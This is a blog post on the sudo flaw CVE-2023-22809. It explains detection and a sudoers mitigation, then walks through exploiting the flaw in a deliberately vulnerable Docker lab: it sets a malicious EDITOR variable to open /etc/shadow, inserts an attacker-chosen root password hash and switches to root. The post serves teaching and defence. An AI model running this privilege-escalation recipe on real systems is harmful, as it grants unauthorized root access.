CVE-2023-22809: Sudo Arbitrary File Write
This post outlines CVE-2023-22809 affecting Sudo: how to detect, exploit and mitigate it.
We’ll also run through a more detailed practical example on a vulnerable Ubuntu Docker container where we exploit the vulnerability to elevate privileges.
Summary
The full security advisory from Synacktiv, on which this post is based, can be found here.
In Sudo <=1.9.12p1, if a user has been granted sudoedit
privileges on a document, they can inject a malicious environment variable to let them edit any document as the configured runas user. This could be used to elevate privileges, for example by changing the root password in /etc/shadow
.
Detection
Check the sudo version is <=1.9.12p1:
$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9
Check if you have sudoedit
privileges on any files with sudo -l
:
$ sudo -l
Matching Defaults entries for user on 3cbc8c6fdc12:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User user may run the following commands on 3cbc8c6fdc12:
(ALL : ALL) sudoedit /etc/custom/service.conf
These are both essential pre-conditions to CVE-2023-22809 - if you don’t have them, the system isn’t vulnerable.
Exploitation
Run the allowed sudoedit
command, preceded by a malicious EDITOR
variable containing the restricted file you want to edit as root.
For example, if you’re permitted to run sudoedit /etc/custom/service.conf
and you want to edit the restricted file /etc/shadow
, run the following command containing the payload 'vim -- /etc/shadow'
:
EDITOR='vim -- /etc/shadow' sudoedit /etc/custom/service.conf
Vim will open /etc/shadow
with read/write access.
Mitigation
Ensure the relevant environment variables are added to the env_delete
deny list when using sudoedit
:
Defaults!SUDOEDIT env_delete+="SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias SUDOEDIT = sudoedit /etc/custom/service.conf
user ALL=(ALL:ALL) SUDOEDIT
In Detail: Privesc Walkthrough
Below is a walkthrough of the exploitation on a vulnerable Docker container.
The Dockerfile can be found on my github repo or you can just copy/paste from this post if you’re playing along at home. If that’s the case, ensure you have the latest version of Docker installed on your system.
First, we’ll create the vulnerable container. Create a file named Dockerfile
(with no file extension such as .txt
) containing the following:
# pull ubuntu
FROM ubuntu:latest
RUN apt update
# install the vulnerable sudo version and vim
RUN apt install -y sudo=1.9.9-1ubuntu2 vim
# create an arbitrary file on which to grant sudoedit privs
RUN mkdir /etc/custom && touch /etc/custom/service.conf
# add a user with credentials user:user
RUN adduser user && echo "user:user" | chpasswd
# grant sudoedit privs to the file created above
RUN echo "user ALL=(ALL:ALL) sudoedit /etc/custom/service.conf" >> /etc/sudoers
# switch to user when the container is run
USER user
From within the same directory in your terminal, build the container with:
docker build -t ubuntu_sudo .
This will create a docker image called ubuntu_sudo
based on the above Dockerfile
.
Run it:
docker run -it ubuntu_sudo
The -it
flag gives you an interactive terminal on launch so you should find yourself in the container as user
:
>docker run -it ubuntu_sudo
user@223b47c80e3c:/$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@223b47c80e3c:/$
We can see below that attempts to switch to root
and access /etc/shadow
are unsuccessful:
user@223b47c80e3c:/$ su root
Password:
su: Authentication failure
user@223b47c80e3c:/$ cat /etc/shadow
cat: /etc/shadow: Permission denied
user@223b47c80e3c:/$
So let’s see what sudo privileges we have with sudo -l
:
We’re allowed to run sudoedit /etc/custom/service.conf
.
sudoedit
allows non-root users to edit specified protected documents. It also lets users specify their favourite text editor via environment variables. Here’s the relevant part from the man
page:
The editor specified by the policy is run to edit the temporary files.
The sudoers policy uses the SUDO_EDITOR, VISUAL and EDITOR environment
variables (in that order). If none of SUDO_EDITOR, VISUAL or EDITOR are
set, the first program listed in the editor sudoers(5) option is used.
It’s that last variable, EDITOR
, that we use for injection in this attack.
As a user, I might set EDITOR
as vim
to legitimately use this. However, this vulnerability lets us inject a protected file within that variable, which is accepted as a valid file to sudoedit
.
Let’s use this to escalate privileges by changing the root password to one of our choosing in /etc/shadow
.
First we’ll generate a new shadow hash for the password attackerpass
on a Kali machine:
┌──(kali㉿kali)-[~]
└─$ mkpasswd -m sha-512 -S saltsalt -s
Password: attackerpass
$6$saltsalt$oVyxxHwq58Yd6q7m0hZvylhO21yXm4bLbwL6rJCKixRStV1JanrmnyRkn9mmRwSeXTvsPhIMubFR0SNPfAQe60
Then we’ll run our payload on the Docker machine:
EDITOR='vim -- /etc/shadow' sudoedit /etc/custom/service.conf
which opens /etc/shadow
in vim
:
root:*:19326:0:99999:7:::
daemon:*:19326:0:99999:7:::
bin:*:19326:0:99999:7:::
sys:*:19326:0:99999:7:::
sync:*:19326:0:99999:7:::
games:*:19326:0:99999:7:::
man:*:19326:0:99999:7:::
lp:*:19326:0:99999:7:::
mail:*:19326:0:99999:7:::
news:*:19326:0:99999:7:::
uucp:*:19326:0:99999:7:::
proxy:*:19326:0:99999:7:::
www-data:*:19326:0:99999:7:::
backup:*:19326:0:99999:7:::
list:*:19326:0:99999:7:::
irc:*:19326:0:99999:7:::
gnats:*:19326:0:99999:7:::
nobody:*:19326:0:99999:7:::
_apt:*:19326:0:99999:7:::
user:$y$j9T$R0JSP2OwSkfOs4Jul/lye.$n6tp3P38N0nxTcWx01bJFe5scm9QuTXIjJ6MrXpKZp5:19377:0:99999:7:::
We can see on the first line above that the root user doesn’t currently have a password hash, so let’s insert ours:
root:$6$saltsalt$oVyxxHwq58Yd6q7m0hZvylhO21yXm4bLbwL6rJCKixRStV1JanrmnyRkn9mmRwSeXTvsPhIMubFR0SNPfAQe60:19326:0:99999:7:::
daemon:*:19326:0:99999:7:::
bin:*:19326:0:99999:7:::
sys:*:19326:0:99999:7:::
sync:*:19326:0:99999:7:::
games:*:19326:0:99999:7:::
man:*:19326:0:99999:7:::
lp:*:19326:0:99999:7:::
mail:*:19326:0:99999:7:::
news:*:19326:0:99999:7:::
uucp:*:19326:0:99999:7:::
proxy:*:19326:0:99999:7:::
www-data:*:19326:0:99999:7:::
backup:*:19326:0:99999:7:::
list:*:19326:0:99999:7:::
irc:*:19326:0:99999:7:::
gnats:*:19326:0:99999:7:::
nobody:*:19326:0:99999:7:::
_apt:*:19326:0:99999:7:::
user:$y$j9T$R0JSP2OwSkfOs4Jul/lye.$n6tp3P38N0nxTcWx01bJFe5scm9QuTXIjJ6MrXpKZp5:19377:0:99999:7:::
and write/exit vim with esc
then :wq!
We can then su
to root with the attackerpass
password:
user@396b29f3478f:/$ su root
Password:
root@396b29f3478f:/# id
uid=0(root) gid=0(root) groups=0(root)
root@396b29f3478f:/#
We successfully elevated privileges!
Thanks for reading. For feedback, corrections or omissions, get in touch!
References
- Synack Sudoedit Bypass Advisory
- Shadow Hash Privesc
- Bonus reference: if you haven’t seen Sudo’s.. unsettling logo, it’s worth a look